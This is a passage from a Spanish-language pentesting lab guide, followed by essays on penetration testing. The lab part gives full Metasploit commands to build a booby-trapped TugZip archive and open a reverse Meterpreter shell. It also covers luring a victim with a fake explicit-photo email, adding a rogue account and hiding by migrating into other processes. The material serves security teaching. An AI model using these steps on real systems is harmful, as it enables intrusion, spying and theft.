Para seleccionar ese exploit, desde Metasploit escriba: use exploit/windows/fileformat/tugzip

Para ver los parámetros de ese exploit, escriba: show options

Mediante los siguientes comandos se va a generar el archivo HotGirl.zip infectado y cuando luego la víctima lo abra con TugZip, se
activará el exploit, abriendo una conexión TCP inversa hacia la máquina del atacante (donde corre Metasploit), definida por LHOST
(la IP de la máquina local donde está el atacante) y LPORT (el puerto TCP en escucha de la máquina local donde está el atacante). Si
se usa el puerto 80 o 443, es menos probable que el tráfico sea bloqueado por un firewall o proxy a la salida, ya que simula ser una
normal conexión HTTP/HTTPS hacia Internet. Claramente la dirección IP de la máquina del atacante debe ser visible (o usar la
técnica de port forwarding).
-29-

Antes de ejecutar esos comandos, reemplace 192.168.0.250 por la verdadera IP usada en Kali Linux donde corre Metasploit
(obtenida mediante ifconfig).

set FILENAME HotGirl.zip


set LHOST 192.168.0.250
set LPORT 443
exploit

El archivo HotGirl.zip así creado se encuentra que la carpeta en /root/.msf4/local es invisible (¿por qué?) y para verla debe activar la
opción View | Show hidden files en el navegador de archivos.

Ese archivo también se encuentra en la carpeta Hacking\Metasploit del material de apoyo, pero no le va a servir si la dirección IP de
su máquina no es 192.168.0.250.

Sección F: Control remoto de una máquina hackeada utilizando Metasploit

En la sección anterior se creó el archivo HotGirl.zip, el cual se aprovecha de una vulnerabilidad del programa TugZip. Para que el
exploit funcione, el archivo HotGirl.zip debe llegar a la víctima, quien deberá abrirlo con TugZip. Se le puede enviar por email, y para
lograr que lo abra, se puede usar ingeniería social, es decir el engaño. El correo debe parecer auténtico, tener un título que sea
realista (ej. Vea esta foto XXX), que parezca provenir de alguien conocido y de confianza, que no sea marcado por los antivirus o
alguna otra alerta de seguridad.

Para los fines de esta experiencia didáctica podría usar el archivo HotGirl.zip que se encuentra en la carpeta Hacking\Metasploit del
material de apoyo, pero no le va a servir si la dirección IP de su máquina no es 192.168.0.250. Alternativamente use el archivo
-30-
HotGirl.zip (que usted creó en la sección anterior), el cual ese encuentra la carpeta invisible /root/.msf4/local, y cópielo mediante
un pendrive a una carpeta compartida de Windows (ej. \Publico) de la víctima.

Una segunda posibilidad es recurrir a Windows share en Kali Linux y transferirlo por la red local mediante SAMBA, como se explicó
anteriormente.

Si hay conexión y todo sale bien y si las credenciales son válidas, podrá tener acceso a los recursos compartidos, pero en ciertos
casos no se logra el acceso y resulta frustrante.

Una tercera posibilidad y que es más parecida a una técnica de ingeniería social, es la siguiente: En Kali Linux copie HotGirl.zip al
Desktop. Luego abra un segundo terminal y mediante cd cámbiese a esa carpeta que desea compartir. Por ejemplo:

cd Desktop

Ahora all, ejecute:

python -m SimpleHTTPServer

De esta manera se activa un simple servidor web, que permite a otros usuarios tener acceso al contenido de esa carpeta desde un
navegador si utilizan la siguiente URL:

http://IP_del_equipo:8000

Allí debería aparecer HotGirl.zip para que la víctima ingenuamente lo descargue.

Antes de que la víctima abra HotGirl.zip con TugZip, en Metasploit el atacante debes seleccionar un manejador (handler), siendo el
más apropiado el llamado multihandler. Se trata de un manejador genérico que se encarga abrir una sesión de Meterpreter. Para
saber de qué se trata, escriba:

info exploit/multi/handler

A continuación debe buscar un payload apropiado. Para ver la lista, escriba show payloads.

Podrá notar que hay payloads de canal directo como es windows/meterpreter/bind_tcp que suelen fallar si el sistema está
protegido por un firewall (o está detrás de un NAT).

Por tal razón se prefiere utilizar payloads de canal inverso (connect back) como es windows/meterpreter/reverse_tcp,
donde la máquina de la víctima toma la iniciativa de conectarse sigilosamente a un puerto predeterminado previamente acordado
(ej. TCP 80 o TCP 443) de la máquina del atacante para luego recibir órdenes. Claramente la dirección IP de la máquina del atacante
debe ser visible (o usar la técnica de port forwarding).

No hay necesidad de utilizar una conexión inversa en el caso de que la máquina de la víctima y del atacante estén en la misma
subred de una LAN y no haya firewalls restrictivos por el medio.
-31-

La conexión inversa es típicamente utilizada por un shellcode para recibir órdenes remotamente mediante una puerta trasera
(backdoor). Como ya se mencionó, es conveniente que el puerto de salida sea 80 o 443, ya que simula ser una normal conexión
HTTP/HTTPS hacia Internet y es menos probable que el tráfico sea bloqueado por un firewall/proxy.

In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is
called “shellcode” because it typically starts a command shell from which the attacker can control the compromised machine. A
remote shellcode is used when an attacker wants to target a vulnerable process running on another machine on the local network
or Internet. If successfully executed, the shellcode can provide the attacker access to the target machine across the network.
Remote shellcodes normally use standard TCP/IP socket connections to allow the attacker access to the shell on the target machine.
Such shellcode can be categorised based on how this connection is set up: If the shellcode can establish this connection, it is called
connect-back (or reverse TCP) shellcode because the shellcode connects back to the attacker's machine. On the other hand, if the
attacker needs to create the connection, the shellcode is called a bindshell because the shellcode binds to a certain port on which
the attacker can connect to control it. Learn more in The Shellcoder’s Handbook.

Para conocer las opciones de configuración de este payload de canal inverso, escriba:

info windows/meterpreter/reverse_tcp

EXITFUNC option is set to process by default, and it works fine in most cases, but in some situations specifying a different EXITFUNC
is necessary so that you can have a clean exit from the exploited system. thread is used in most exploitation scenarios where the
-32-
exploited process (e.g. Internet Explorer) runs the shellcode in a sub-thread and exiting this thread results in a working
application/system (clean exit). process should be used with multi/handler and should also be used with any exploit where a master
process restarts it on exit. seh should be used when there is a structured exception handler (SEH) that will restart the thread or
process automatically when an error occurs.

Finalmente escriba lo siguiente para configurar el exploit:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 192.168.0.250
set LPORT 443

LHOST y LPORT deben ser los mismos que se utilizaron al configurar el exploit.

Ejecute de nuevo show options para verificar que no falta más nada y que todo esté bien.

Por último ejecute el comando exploit y espere pacientemente a que la víctima caiga en la trampa.

En la máquina Windows de la víctima, instale y corra TugZip.exe. Desde ese programa abra el archivo HotGirl.zip que llegó con
algunos de los métodos mencionados antes. Quizás lo encuentre en una carpeta compartida de Windows (ej. \Publico).

Como el archivo es falso, no abre ni descomprime nada, pero en cambio activa sigilosamente el exploit, intentando establecer una
conexión (inversa) hacia Meterpreter.
-33-
Once a system is compromised, Meterpreter sends a first-stage payload to the affected system. This payload connects back to the
Meterpreter. Then a second DLL Injection Payload is sent followed by the Meterpreter Server DLL. This establishes a socket and a
client-server communication can take place through the Meterpreter session. The best part of this session is that it is encrypted.
This offers confidentiality and hence a session may not be sniffed by any network administrator.

Puede ocurrir que el exploit no funcione por varias razones (por ejemplo si se trata de Windows 8 o Windows 10) A veces el sistema
se pone muy lento y en tal caso podría aumentar la memoria RAM de la máquina virtual. En todo caso no se desanime y sea
perseverante, como lo sería un auténtico hacker o pentester. Revise los parámetros de configuración, especialmente las direcciones
IP y los puertos. Posiblemente un firewall está impidiendo la conexión. Insista hasta que aparezca algo como lo siguiente:

Si finalmente lo logra, se abrirá de un canal de comunicación con la máquina remota y se podrá efectuar una gran cantidad de cosas
sorprendentes, como se verá más adelante. Para apreciar la potencia de Meterpreter, escriba help y vea la lista de las muchas e
interesantes funciones que ofrece. También puede buscar una lista completa en Internet.

Comando Descripción

  background     Envía al segundo plano la sesión activa


  exit           Termina la sesión abierta de Meterpreter
  help               Muestra la ayuda
  migrate       Migra de un proceso a otro
  quit         Termina la sesión abierta de Meterpreter
  run           Ejecuta un script de Meterpreter
  use           Carga una o más extensiones de Meterpreter
  cat           Muestra el contenido de un archivo de texto
  cd           Cambia a un directorio
  del           Elimina un archivo específico
-34-
  download       Descarga un archivo o directorio al equipo local
  edit           Edita un archivo
  getlwd         Muestra el directorio local en el que estamos trabajando
  getwd       Muestra el directorio remoto en el que estamos trabajando
  lcd           Cambia a un directorio local
  lpwd         Muestra el directorio local en el que estamos trabajando
  ls             Muestra los archivos contenidos en un directorio
  mkdir         Crea un directorio
  pwd           Muestra el directorio remoto en el que estamos trabajando
  rm           Elimina un archivo específico
  rmdir         Elimina un directorio específico
  upload         Sube un archivo o directorio al equipo remoto
  ipconfig       Muestra las interfaces de red
  clearev       Elimina los logs almacenados en el Visor de Sucesos
  execute       Ejecuta un comando
  getpid         Muestra la identificación del proceso en el que estamos
  getuid         Muestra el usuario en el que estamos actualmente
  kill           Termina un proceso
  ps             Muestra los procesos en ejecución
  reboot         Reinicia el equipo remoto
  reg           Modifica e interactúa con el registro remoto
screenshot   Captura el escritorio remoto
shell         Lanza una consola en el equipo remoto
  shutdown       Apaga el equipo remoto
  sysinfo     Muestra información sobre el equipo remoto
keyscan_start   Empieza a capturar pulsaciones de teclas
keyscan_dump Muestra las pulsaciones de teclas grabadas
keyscan_stop   Detiene la captura de pulsaciones de teclas
  hashdump Muestra el contenido del archivo SAM de contraseñas encriptadas

Para empezar, pruebe por ejemplo los siguientes comandos: sysinfo, getuid, pwd, ps, arp, ipconfig, route,
netstat -ano. Analice los resultados.

El comando ls lista los archivos remotos. Pruebe por ejemplo: ls \\Windows, ls \\, ls \, ls C:\, ls C:\\.
Note la necesidad del uso del doble guión.

Mediante cd navegue por los directorios remotos (ej. cd C:\\Temp). Si consigue un archivo tipo .txt, ejecute cat para ver su
contenido.
-35-

Si aparece un archivo interesante (ej. Personal.doc), lo puede descargar a una carpeta local (ej. /root) ejecutando download
Personal.doc /root.

Pulse Ctr+Z para suspender la sesión remota, sin cortar la conexión, poniéndola en modo background. Alternativamente escriba
background. Para retomarla más tarde, escriba sessions -l y así averigua el número de la sesión.

Escriba sessions -i 1 para reabrir la sesión 1. Escriba por ejemplo sysinfo para chequear que la sesión se reabrió.

Abra otro Terminal de Kali Linux y escriba netstat -ant. Analice el resultado.

(Opcional). En la máquina Windows de la víctima capture el tráfico de la sesión con un sniffer como Wireshark o CommView. Puede
poner un filtro como ip.addr == 192.168.0.250. Verifique que el tráfico está encriptado con SSL.

Una de las funciones más poderosas de Meterpreter es execute, que permite ejecutar comandos o correr programas instalados en
la máquina remota. Escriba simplemente execute para así conocer sus opciones de uso.
-36-

Entre los comandos propios de Windows que se encuentran disponibles en la máquina remota está el famoso cmd.exe, que permite
obtener un shell remoto, lo cual es prácticamente equivalente a estar físicamente delante de la máquina y ejecutar cmd. También
es equivalente a una sesión Telnet/SSH.

Para obtener el shell, simplemente escriba shell (que es equivalente a execute -H -c -i -f cmd.exe).

Si todo sale bien (lo cual no siempre sucede), ahora Ud. dispone de la línea de comandos de Windows en la máquina remota y
puede hacer una gran cantidad de cosas, pero claramente no puede correr aplicaciones gráficas. Además los comandos están
limitados por los permisos que tenga sobre el sistema. Ejecute algunos de los siguientes comandos y analice los resultados:
 systeminfo  net view
 set  net share
 net users  dir
 net user Administrador  mkdir \Hackeado
 net localgroup  cd \Hackeado
 net localgroup Administradores  echo Hola - Has sido hackeado con Metasploit !! > Leeme.txt
 net user Hacker abc123 /add  type Leeme.txt
 net user Hacker  msg * “Hola - Has sido hackeado con Metasploit !!”

Si ejecuta el último comando, en la máquina remota debería abrirse una preocupante ventana:

El commando dir utilizado con parámetros es bastante poderoso. Para ver todas sus opciones, ejecute dir /?.

El comando findstr permite buscar cadenas (se compara al legendario comando grep de Unix/Linux) y puede ser muy útil para
buscar información (cadenas) dentro de los archivos, a falta de otros recursos. Ejecute findstr /? para saber cómo se usa. Por
ejemplo, para listar todos los archivos de texto en el directorio Temp y subdirectorios que contengan la palabra Mendillo escriba:
findstr /S /I /M Mendillo C:/Temp/*.txt. Tome en cuenta que esta operación puede llevar mucho tiempo,
dependiendo de la profundidad del directorio y del tamaño de los archivos. Si un parámetro contiene caracteres especiales o
espacios en blanco, entonces debe encerrarlo entre comillas, por ejemplo findstr /S /I /M "Vincenzo Mendillo"
"C:/Documents and Settings/*.txt".

Si escribe help, verá una lista completa de los comandos directamente disponibles.
-38-

Para ver bien las letras acentuadas y otros caracteres especiales, en el menú de Terminal en Kali Linux seleccione Set Character
Encoding | Western IBM850.

Para finalizar esta serie se experiencias, tenga en cuenta que si la víctima cierra la aplicación (en este caso TugZip), el atacante
perderá la conexión y le aparecerá lo siguiente:

Para evitarlo, hay que “emigrar” el script de Meterpreter de TugZip a otro proceso activo (ej. iexplore.exe). En primer lugar salga del
shell de Windows mediante exit. Escriba ps y así verá la lista de los procesos activos en la máquina remota. Además del PID
(Process Identifier), se muestra el padre del proceso (PPID, Parent Process ID). Esto es útil ya que a veces hay que “matar” (kill) el
proceso padre para que un dado proceso termine.
-39-
Escriba getpid y así verá el identificador del proceso al cual está enganchado Meterpreter. Debería corresponder al PID de
TUGzip.exe (en el ejemplo 5800).

Tome nota del PID correspondiente a firefox.exe o iexplore.exe (en el ejemplo 5640) y escriba migrate 5640. El resultado
debería ser lo siguiente:

Escriba getpid y así verá el muevo identificador del proceso al cual está enganchado Meterpreter. Debería corresponder al PID
de iexplore.exe (en el ejemplo 5640).

A menudo resulta conveniente emigrar a un proceso con mayores privilegios o esconder el proceso dentro de otro proceso genérico
como svchost.exe, el cual es agrupa varios servicios con el fin de reducir el consumo de memoria y facilitar el manejo de la
seguridad. Mediante el comando ps busque entre los distintos vchost.exe que están corriendo alguno que preferiblemente
pertenezca a la cuenta NT AUTHORITY\SYSTEM, que es una cuenta con acceso total al equipo, pero posiblemente no le será
permitido.

Ahora en Windows puede cerrar TugZip.exe (si el que ya no se cerró) y el control remoto se efectúa a través del otro proceso (e1n el
ejemplo Internet Explorer). En Meterpreter escriba sysinfo para chequear que la sesión sigue abierta.

La emigración no siempre funciona y en tal caso hay que abortar la sesión remota de Meterpreter mediante Ctr+C.

Escriba exit (o pulse Ctr+C) para terminar la sesión remota. Vuelva a escribir exit para salir de Meterpreter.

Para salir de Kali Linux, lo puede hacer desde el ícono de apagado en el extremo superior derecho de la ventana o simplemente
ejecutando halt en Terminal. Pero si se trata de una máquina virtual, es preferible hacerlo desde VMware mediante Suspend Guest.
De esta manera cuando reinicie, no se habrá perdido el trabajo.

Si le pareció interesante Meterpreter y quiere probar funciones más avanzadas (screenshot, webcam, sound_recorder, keylogger,
sniffer, hashdump, backdoor, clearev, timestomp), entonces Ud. es un buen candidato a ser hacker ético o investigador forense, así
que procedaa realizar las prácticas Pruebas de penetración avanzadas de sistemas informáticos, Ataques de Ingeniería Social
mediante SET, Ataques a las contraseñas de Windows. En la práctica Pruebas de penetración con troyanos se enseña cómo crear un
programa bajo la forma de un archivo EXE que, de ser ejecutado por la víctima, también permite tomar control remoto de la
máquina de la víctima mediante Metasploit.

Sección G: Informe

Elabore un informe de no menos de 8 páginas donde se reportan las experiencias más relevantes, se analizan los resultados
obtenidos, finalizando con conclusiones y eventuales recomendaciones.

El informe debe ser individual y redactado con palabras propias; no se permite repetir el texto del material que se encuentra en esta
-40-
guía, en el material de apoyo o en otras fuentes. Debe contener un resumen de las actividades realizadas, con ejemplo de
resultados. Deben analizarse y discutirse esos resultados, en particular si se presentaron problemas o aspectos inesperados.
También deben incluirse las conclusiones y eventuales recomendaciones.

Los informes deben enviarse regularmente al profesor a lo largo del curso, mediante el correo electrónico. Serán penalizadas las
entregas retrasadas y no se aceptarán entregas muy retrasadas. Además NO se aceptarán informes entregados todos juntos los
últimos días de finalización del curso.
El futuro de las pruebas de penetración
Omar Herrera - Candado Digital

Hace algún tiempo se discutió en el foro Pentest de SecurityFocus sobre las características de un "pentester experto". Tristemente
he de decir que muchos de los profesionales de esta área viven en el pasado, buscando glorificar un arte que en su forma actual ya
no cubre las necesidades de las organizaciones.
Sin menospreciar la capacidad técnica de nuestros colegas y dejando a un lado todo el tema elitista y egocentrista de algunas de
estas discusiones (ahora resulta que solo quien ha programado un "exploit" merece llamarse "pentester"), me gustaría
concentrarme en cómo debe evolucionar esta disciplina desde mi punto de vista, para mantenerse vigente.

Lo que ha cambiado
Debemos entender y aceptar antes que nada que la situación ya no es la misma de hace una década, cuando esta disciplina estaba
en pleno auge. Hoy los requerimientos de seguridad de las organizaciones demandan un cambio radical en las pruebas de
penetración que les proporcione un valor claro. Esto es lo que ha cambiado:
 Las empresas reconocen la necesidad de contar con niveles mínimos de seguridad  (ya no es necesario demostrarles que si
no aplicaban parches u otro tipo de controles pueden sufrir un incidente grave).
 Las empresas reconocen que dados suficientes recursos materiales, humanos y técnicos, el acceder a cierta información o
sistema es algo prácticamente imposible de evitar (igualmente, ya no necesitan que alguien se demuestre).
 Las empresas han descubierto que hacer pruebas exhaustivas de seguridad en un sistema específico da más valor que
implementar arquitectura básica de seguridad que considere todos los componentes críticos y riesgos "relevantes" para el
negocio.
 Las empresas y los delincuentes también comprenden, que la mayoría de los riesgos de seguridad   actualmente no residen
en las vulnerabilidades técnicas, sino en los procesos y en la gente.
 Las empresas saben que ya no necesitan contratar a especialistas que sólo les digan que están muy mal (técnicamente), y
que sus problemas se resuelven implementando controles de seguridad caros y complejos sin considerar el problema de raíz
(que normalmente no es técnico).
 Muchas empresas ya tienen un nivel mínimo de experiencia y conocimientos en seguridad que les permiten exigir calidad
de entregables y razonabilidad en los proyectos; ya no se dejan impresionar por tecnicismos.
 Los controles de seguridad han ido evolucionando al lado de convertirse en un "commodity"; los ataques cada vez tienden
más hacia el lado aplicativo y humano que hacia las redes y sistemas operativos. 
 Las evaluaciones de vulnerabilidades automatizadas hoy en día son tan completas y que brindan un nivel de profundidad de
análisis suficiente para la mayoría de las empresas, en un tiempo razonable (mayor costo-beneficio que las pruebas manuales
que pueden ofrecer los pentesters más experimentados).
 Las empresas hoy en día valoran más la confianza que el grado de especialidad técnica (La mayoría de los especialistas en el
mercado ya cuentan con un nivel mínimo aceptable. Asimismo, los "hackers" que antes infiltraban redes o quienes
programaban virus o gusanos antes eran premiados y reconocidos; hoy van a la cárcel y son rechazado  por las  empresas).
 Estándares como PCI, que consideran a las pruebas de penetración tradicionales como un requisito indispensable, hoy en
día son fuertemente criticados por los altos costos que implican, comparados con las mejoras reales en niveles de seguridad
que brindan (costo - beneficio).
 Las empresas están favoreciendo esquemas de seguridad basados en análisis de sus propios riesgos, en vez de la aplicación
a ciegas de  "mejores prácticas genéricas".

El valor de pentesting
Anteriormente era común afirmar que las pruebas de penetración a los sistemas complementaban los análisis de vulnerabilidades
automatizados (cobertura en amplitud) al revisar en profundidad los los sistemas más críticos. Pero al darse los cambios
mencionados anteriormente, las pruebas de penetración pierden su valor para muchas empresas, incluso dando todo el
conocimiento posible a los especialistas que los llevan a cabo.
Complementar las revisiones de vulnerabilidades mediante análisis técnicos más profundos resulta casi ocioso hoy en día, y esto
lo perciben no sólo las empresas, sino también los delincuentes.
Sin embargo, hay un camino evolutivo para el pentesting que algunos ya exploran: el complementar las evaluaciones de
seguridad en el sentido inverso, es decir, entrar en detalle en los procesos de negocio.
Y hace mucho sentido. Si volteamos a nuestro alrededor en nuestras empresas y nos ponemos a pensar por dónde buscaría un
delincuente común obtener acceso a información confidencial o a nuestros sistemas, nos damos cuenta de que seguramente su
-42-
primera opción no sería la vía técnica, sino algo como el soborno o la ingeniería social.

Pentesting en la década de los 10's


Esto es como veo yo a las pruebas de penetración a sistemas en la década en década a la que acabamos de entrar:
 Análisis profundo de procesos de negocio y sus riesgos, así como de vulnerabilidades a nivel procesos y gente.
 Identificación de las vías más factibles (sin sesgo técnico) para obtener información sensible o acceso no autorizado
recursos de la empresa.
 Mayor énfasis en la parametrización de evaluaciones de vulnerabilidades conforme al entorno de negocio (mayor
eficiencia de las evaluaciones de vulnerabilidades automatizadas).
 Documentación de la relación entre vulnerabilidades técnicas, derivadas de evaluaciones de vulnerabilidades
automatizadas, y el impacto al negocio (riesgo real).
 Auditoría de requerimientos específicos para el negocio (regulación y necesidades específicas del sector).
 Reportes con lenguaje no técnico, y recomendaciones de solución claras, con un enfoque "top-down".
 Personal con experiencia balanceada: tanto en pruebas técnicas de acceso a sistemas y manejo de herramientas de
evaluación automatizada de vulnerabilidades, como conocimientos del sector empresarial   en el que se desempeñan y de
análisis de procesos.

Conclusión
La única constante en esta vida es el cambio, y esta disciplina de la seguridad de la información no es la excepción. Las pruebas de
penetración a sistemas deben evolucionar hacia un punto donde puedan proporcionar un beneficio tangible a las empresas.
El enfoque de contratar a un experto técnico para que revise en un tiempo finito aquello que a su juicio es relevante,
dependiendo en gran medida de la suerte y de la habilidad técnica y conocimientos del especialista, y aceptando sus resultados sin
poder comprender la relación de los hallazgos con los riesgos del negocio, ya no es una opción.
-43-
Pruebas de penetración para el software

James A. Whittaker

Al oír hablar del concepto "pruebas de penetración", probablemente se imaginará a un genio solitario llevando a cabo misteriosas
pruebas de software malogrado. En realidad, antes del renacimiento de las pruebas de penetración, esta escena era bastante
realista. En la actualidad, las pruebas de penetración se llevan a cabo de una manera mucho más metódica. Esto es totalmente
necesario, pues la existencia del Ciclo de vida de desarrollo de seguridad (SDL, Security Development Lifecycle), su diseño seguro y
avanzado y su enfoque de desarrollo, están reduciendo el número de defectos latentes, por lo que la detección de vulnerabilidades
durante las pruebas es mucho más difícil. La prueba de la seguridad del software es demasiado importante como para dejarla en
manos de un pequeño grupo de virtuosos. Ésta debe ser fácil de enseñar, metódica y repetible de modo que pueda aplicarse en una
amplia variedad de circunstancias.
Por no decir, claro, que las pruebas de penetración constituyen en sí una ciencia. Todas las pruebas cuentan con aspectos
indagatorios propios; así, los evaluadores aplican una entrada, lo cual cambia los datos del software provocando que éste reaccione
de una serie de maneras distintas. La complejidad es demasiado grande como para poder predecir con exactitud; sin embargo, se
puede hacer bastante para planear por adelantado. En esta columna describiremos cómo se lleva a cabo toda esta planeación en
Microsoft.

Planeación
Junto con las pruebas tradicionales, las especificaciones, la documentación del usuario, los casos de uso y otros tipos de
documentación de diseño son muy abundantes. Esta información puede usarse para diseñar un conjunto de casos de prueba que
comprobarán la funcionalidad especificada. Pero las fuentes de información disponibles en la planeación están muy, muy limitadas.
Las pruebas de penetración no consisten en comprobar la funcionalidad, sino en comprobar la ausencia de una funcionalidad no
segura. Desafortunadamente, nadie ha diseñado hasta ahora ningún mecanismo de desarrollo de software para estos
comportamientos, por lo que los evaluadores se ven obligados a defenderse por sí solos.
El primer lugar en el que recopilar información acerca de las pruebas de penetración es en las interfaces que comunican el
software con su entorno externo. Las interfaces de usuario, las interfaces de red, las API y cualquier otro lugar donde se procese la
entrada constituyen claros vectores de ataque para los piratas informáticos. Si cualquiera de estas interfaces está mal diseñada o
implementada, podría permitir la penetración de entradas malintencionadas y causar estragos. La identificación y documentación
de estas interfaces constituye un buen punto de partida para las pruebas de penetración.
La segunda área que requiere una atención especial la constituyen los mensajes de error y los cuadros de diálogo de alerta del
usuario, que comunican información entre el software y los usuarios externos. Puesto que dichos usuarios pueden ser
malintencionados, es muy importante conocer qué información se les revela y cómo se comunica dicha información.
Por último, los evaluadores de penetración, con frecuencia, definen escenarios de desastres que sirven para describir cómo sería
un ataque con éxito. Estos casos de uso indebido (o casos de abuso, si lo prefiere), a menudo, surgen a partir de un modelo de
amenaza o de ataques anteriores conocidos.
La recopilación de la información precedente de estas tres fuentes constituye un trabajo previo crucial para llevar a cabo la
prueba de penetración, además le servirá de guía a través de la propia prueba.

Tipos de pruebas de penetración


Las pruebas giran en torno a la variación, es decir, detectar los aspectos del software y su entorno que pueden haber variado y ver
cómo responde el software. El objetivo consiste en garantizar que el software funcione de una manera confiable y segura en
escenarios de producción tanto razonables como, incluso, no razonables. Por lo que la planeación más importante que debe llevar a
cabo un evaluador es conocer los aspectos que pueden variar y de qué formas dicha variación necesita configurarse para las
pruebas.
Desde el punto de vista de la seguridad, el entorno, la entrada de usuario, así como los datos y lógica internos son los lugares
principales donde dicha variación puede revelar problemas de seguridad. El entorno consiste en los archivos, aplicaciones, recursos
del sistema y otros recursos locales o de red que la aplicación use. Cualquiera de éstos podría ser el punto de entrada de un ataque.
La entrada de usuario la constituyen los datos que se originan con entidades externas (normalmente no confiables) que el software
analiza y usa. Los datos y lógica internos son las variables y rutas lógicas almacenadas internamente que tienen cualquier número de
enumeraciones potenciales.
Al variar la información en el entorno de software, el dominio de entrada y las rutas lógicas/de datos, es posible llevar a cabo
ataques. Explicaré cada una de estas tres categorías con más detalle.

Ataques del entorno


-44-
El software no se ejecuta aislado. Depende de cualquier número de archivos binarios y módulos de código equivalente, como scripts
y complementos. Puede usar también información de configuración del Registro o del sistema de archivos, así como de bases de
datos y de servicios que podrían residir en cualquier parte. Cada una de estas interacciones del entorno puede constituir la fuente
de una infracción de seguridad y, por lo tanto, deben someterse a prueba.
Hay también una serie de preguntas importantes que debe plantearse acerca del grado de confianza que la aplicación posee en
estas interacciones, incluidas las siguientes: ¿Qué grado de confianza posee la aplicación en su entorno local y en los recursos
remotos? ¿Coloca la aplicación información confidencial en un recurso (por ejemplo, el Registro) que pueda leerse por otras
aplicaciones? ¿Confía en cada uno de los archivos o bibliotecas que carga sin comprobar el contenido? ¿Puede un atacante
aprovechar esta confianza para obligar a la aplicación a hacer lo que éste desee?
Además de estas cuestiones acerca de la confianza, los evaluadores de penetración deben observar los DLL que puedan estar
defectuosos o que un atacante haya podido reemplazar (o modificar), archivos binarios o archivos con los cuales la aplicación
interactúe y que no estén completamente protegidos a través de listas de control de acceso (ACL) o que se encuentren
desprotegidos de cualquier otra manera. Los evaluadores deben estar también pendientes de otras aplicaciones que tengan acceso
a recursos de memoria compartida o que almacenen datos confidenciales en el Registro o en archivos temporales. Por último, los
evaluadores deben considerar factores que generen sobrecarga en el sistema como, por ejemplo, una red lenta, memoria baja, etc.,
así como determinar el impacto de estos factores en las características de seguridad.
Los ataques del entorno se llevan a cabo, a menudo, organizando de forma malintencionada un entorno inseguro y ejecutando, a
continuación, la aplicación en ese entorno para ver cómo responde. Se trata de una forma indirecta de pruebas; los ataques se
emprenden contra el entorno en el cual funciona la aplicación. Observemos ahora las pruebas directas.

Ataques de entrada
En las pruebas de penetración, el subconjunto de entradas que procede de fuentes que no son de confianza es el más importante.
Éstas incluyen rutas de comunicación como, por ejemplo, protocolos de red y sockets, funcionalidades remotas expuestas como
DCOM, llamadas a procedimiento remoto (RPC, Remote Procedure Calls) y servicios web, archivos de datos (binarios o de texto),
archivos temporales creados durante la ejecución y archivos de control como scripts y archivos XML, todos los cuales están sujetos a
manipulaciones. Por último, deben comprobarse también los controles de interfaz de usuario que permiten la entrada directa del
usuario como, por ejemplo, las pantallas de inicio de sesión, los clientes web, etc.
En especial, deseará determinar si la entrada está controlada adecuadamente: ¿Se permiten las entradas consideradas seguras y
se evitan las no seguras (por ejemplo, cadenas largas, paquetes formados incorrectamente, etc.)? La comprobación de entradas
adecuadas y el análisis de archivos son críticos. Necesitará realizar pruebas para ver si se pueden llevar a cabo entradas peligrosas
en los controles de la interfaz de usuario y para averiguar qué podría ocurrir en caso de que esto se produjera. Esto incluye
caracteres especiales, entradas codificadas, fragmentos de scripts, cadenas de formato, secuencias de escape, etc. Necesitará
determinar si es posible que penetren cadenas largas que se encuentran incrustadas en los campos de paquetes o en los archivos y
que puedan provocar el desbordamiento de la memoria. Los paquetes dañados en las secuencias de protocolo constituyen también
una preocupación. Debe vigilar la presencia de bloqueos y comprobar la pila por si existieran vulnerabilidades potenciales en la
memoria. Por último, debe estar completamente seguro de que tanto la validación como los mensajes de error ocurren en el lugar
correcto (en el lado cliente y no en el lado servidor), esto constituirá una defensa apropiada frente a las entradas no seguras.
Los ataques de entrada constituyen auténticos ataques de artillería contra una aplicación. Algunos de ellos podrán esquivarse
adecuadamente, mientras que otros provocarán daños en el software. Dependerá del equipo de penetración determinar qué
ataques se considerarán ataques de entrada, así como la aplicación de las soluciones apropiadas.

Ataques de datos y de lógica


Algunos errores se encuentran incrustados en los mecanismos internos de almacenamiento de datos de la aplicación y en la lógica
de algoritmos. En dichos casos, parece haber errores de diseño y de codificación en los que el desarrollador ha asumido la presencia
de un usuario benevolente o bien no se dio cuenta de la presencia de ciertas rutas de código en las que el usuario debe tener
cuidado.
La denegación de servicio es el ejemplo principal de esta categoría, pero no la más peligrosa. Los ataques de denegación de
servicio pueden realizarse correctamente si los desarrolladores han cometido errores en la planeación para un amplio número de
usuarios (o conexiones, archivos, así como cualquier entrada que provoque que ciertos recursos se sobrecarguen hasta el límite). No
obstante, existen defectos lógicos mucho más insidiosos que necesitan someterse a prueba. Por ejemplo, la divulgación de
información puede ocurrir cuando las entradas que controlan los mensajes de error y otros resultados generados revelen
información vulnerable a un atacante. Un ejemplo práctico de los datos que deben eliminarse siempre sería cualquier cuenta de
prueba codificada o API de prueba (las cuales se incluyen, con frecuencia, en compilaciones internas para ayudar en la
automatización de las pruebas). Esto podría facilitar el acceso a un atacante. Dos pruebas más que debería ejecutar son la
introducción de credenciales falsas para determinar si los mecanismos internos de autorización son seguros, así como la elección de
entradas que varíen las rutas de código. La mayoría de las rutas de código son seguras, pero es posible obtener acceso a la misma
-45-
funcionalidad de maneras diferentes, lo cual podría omitir de forma inadvertida algunas comprobaciones cruciales.

No se deje disuadir en su intento


Las pruebas de penetración son muy distintas de las pruebas funcionales tradicionales; no sólo carecen los evaluadores de
penetración de la documentación apropiada sino que, además, éstos deben pensar como usuarios que tienen la intención de hacer
daño. Este punto es muy importante. Los desarrolladores, con frecuencia, trabajan asumiendo que ningún usuario razonable
ejecutaría un escenario particular y que, por lo tanto, declinaría la corrección de un error. Sin embargo, no debería nunca
arriesgarse de este modo. Los piratas informáticos harán todo lo posible por detectar vulnerabilidades y ningún truco, trampa o
estrafalario caso de prueba está fuera de lugar. Lo mismo debe cumplirse para los evaluadores de penetración.
-46-

What to do with network penetration test results

by David Meier

You've done it; your first enterprise network penetration test is now complete. The only problem is that you have what seems like a
mountain of vulnerability information, but don't know how to not only parse it to identify the truly relevant weaknesses you've
uncovered, but also use that information to strengthen network defenses.
While the thought of starting a network penetration test analysis may make your head spin, in this tip we'll detail a step-by-step
process for analyzing and acting on penetration test results data.
During the network penetration testing design process, there are boundaries that need to be laid out to prevent scope creep,
namely which devices, services and networks will be tested and which won't; this scope will depend on the objectives of the test. Be
